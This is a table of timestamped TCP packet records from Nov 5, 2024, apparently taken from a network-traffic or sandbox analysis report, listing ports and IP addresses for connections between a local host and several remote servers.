Nov 5, 2024 10:13:27.274256945 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.411365032 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.411839962 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.411899090 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.411941051 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.411946058 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.411955118 CET	49769	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.411958933 CET	443	49769	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.415245056 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.415268898 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.415334940 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.415556908 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.415565968 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.890319109 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.898562908 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.898583889 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.899080038 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.899086952 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.900927067 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.901542902 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.901561022 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.901961088 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.901966095 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.908617973 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.909142017 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.909156084 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:27.909519911 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:27.909526110 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.029324055 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.031734943 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.032013893 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.032059908 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.034967899 CET	49773	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.034990072 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.035511971 CET	49773	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.035517931 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.039031029 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.039072990 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.039093018 CET	49770	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.039115906 CET	443	49770	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.039133072 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.040927887 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.040927887 CET	49772	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.040955067 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.040961027 CET	443	49772	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.048248053 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.048302889 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.048703909 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.060744047 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.060754061 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.060762882 CET	49771	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.060769081 CET	443	49771	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.138082027 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.138099909 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.138194084 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.152996063 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.153013945 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.153065920 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.156673908 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.156686068 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.169380903 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.169389963 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.169393063 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.169543982 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.169728994 CET	49773	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.169765949 CET	49773	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.169774055 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.169784069 CET	49773	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.169792891 CET	443	49773	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.171896935 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.173449993 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.173465014 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.174119949 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.174128056 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.175254107 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.175283909 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.175483942 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.177212000 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.177225113 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.188886881 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.188896894 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.188956022 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.189141989 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.189157963 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.252270937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:28.252321005 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:28.308978081 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.309387922 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.309501886 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.310388088 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.310388088 CET	49774	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.310400009 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.310408115 CET	443	49774	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.325134993 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.325165033 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.325275898 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.328505039 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.328520060 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.896509886 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:28.896528006 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:28.896584034 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:28.896801949 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:28.896814108 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:28.910919905 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.912321091 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.912341118 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.913455963 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.913460970 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.926937103 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.932843924 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.932857990 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.933938026 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.933943033 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.939667940 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.940165997 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.940187931 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.940583944 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.940587044 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.943799019 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.944538116 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.944545984 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:28.945013046 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:28.945018053 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.048552990 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.048645020 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.048734903 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.053042889 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.053050995 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.053060055 CET	49775	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.053065062 CET	443	49775	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.055958986 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.055974960 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.056174040 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.056350946 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.056360006 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.067085981 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.067145109 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.067297935 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.067323923 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.067331076 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.067368031 CET	49776	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.067372084 CET	443	49776	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.070836067 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.070846081 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.070910931 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.071202993 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.071213007 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.080492973 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.081144094 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.081607103 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.081645966 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.081645966 CET	49777	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.081662893 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.081672907 CET	443	49777	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.082583904 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.082638979 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.082735062 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.082946062 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.082951069 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.082962036 CET	49778	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.082964897 CET	443	49778	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.084573030 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.084598064 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.084652901 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.085089922 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.085104942 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.085397959 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.085441113 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.085504055 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.085640907 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.085655928 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.085664034 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.086035967 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.086045027 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.086611032 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.086617947 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.224077940 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.224123955 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.224379063 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.224881887 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.224881887 CET	49779	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.224900007 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.224912882 CET	443	49779	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.227859020 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.227880955 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.227953911 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.228353024 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.228367090 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.473634005 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.473649025 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.473860979 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.474113941 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.474123955 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.581919909 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.581943989 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.582068920 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.582268953 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.582283020 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.660007000 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.660027981 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.660157919 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.660372972 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.660384893 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.757379055 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.758001089 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.758013010 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.759059906 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.759145021 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.760020971 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.760087967 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.760304928 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.760313034 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:29.813438892 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:29.823328018 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.823748112 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.823771000 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.824255943 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.824261904 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.828769922 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.829370975 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.829391956 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.829797029 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.829878092 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.829884052 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.830255985 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.830271006 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.830616951 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.830622911 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.832900047 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.833204031 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.833215952 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.833652973 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.833657980 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.964107990 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.964621067 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.964834929 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.964900017 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.964924097 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.964935064 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.964975119 CET	49786	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.964978933 CET	443	49786	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.965354919 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.965413094 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.966468096 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.966468096 CET	49788	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.966480970 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.966489077 CET	443	49788	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.967508078 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.967734098 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.967828035 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.968116999 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.968116999 CET	49787	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.968125105 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.968132973 CET	443	49787	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.969753981 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.969769955 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.969829082 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.970067978 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.970081091 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.971004009 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.971014977 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.971065044 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.971226931 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.971240044 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972042084 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972062111 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972311974 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972388029 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972415924 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972430944 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972590923 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972645044 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972769022 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972784042 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.972794056 CET	49789	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.972799063 CET	443	49789	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.975260019 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.975279093 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.975457907 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.975572109 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.975591898 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.975603104 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.976035118 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.976051092 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:29.976450920 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:29.976457119 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.033343077 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.033390045 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.033422947 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.033476114 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.033488989 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.033541918 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.035706997 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.035811901 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.035847902 CET	443	49785	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.035900116 CET	49785	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.111368895 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.111460924 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.111535072 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.111849070 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.111860037 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.111871004 CET	49790	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.111875057 CET	443	49790	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.115268946 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.115287066 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.115413904 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.115607023 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.115617037 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.365104914 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.365310907 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.365318060 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.366328001 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.366394043 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.366688013 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.366748095 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.366811991 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.406605959 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.406610966 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.453500986 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.462889910 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.463141918 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.463157892 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.464210987 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.464273930 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.464605093 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.464674950 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.464689970 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.507338047 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.510998011 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.511198997 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.511219978 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.512281895 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.512339115 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.512609005 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.512671947 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.516825914 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.516834974 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.563692093 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.563699961 CET	443	49793	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.563791037 CET	49792	443	192.168.2.5	142.250.184.228
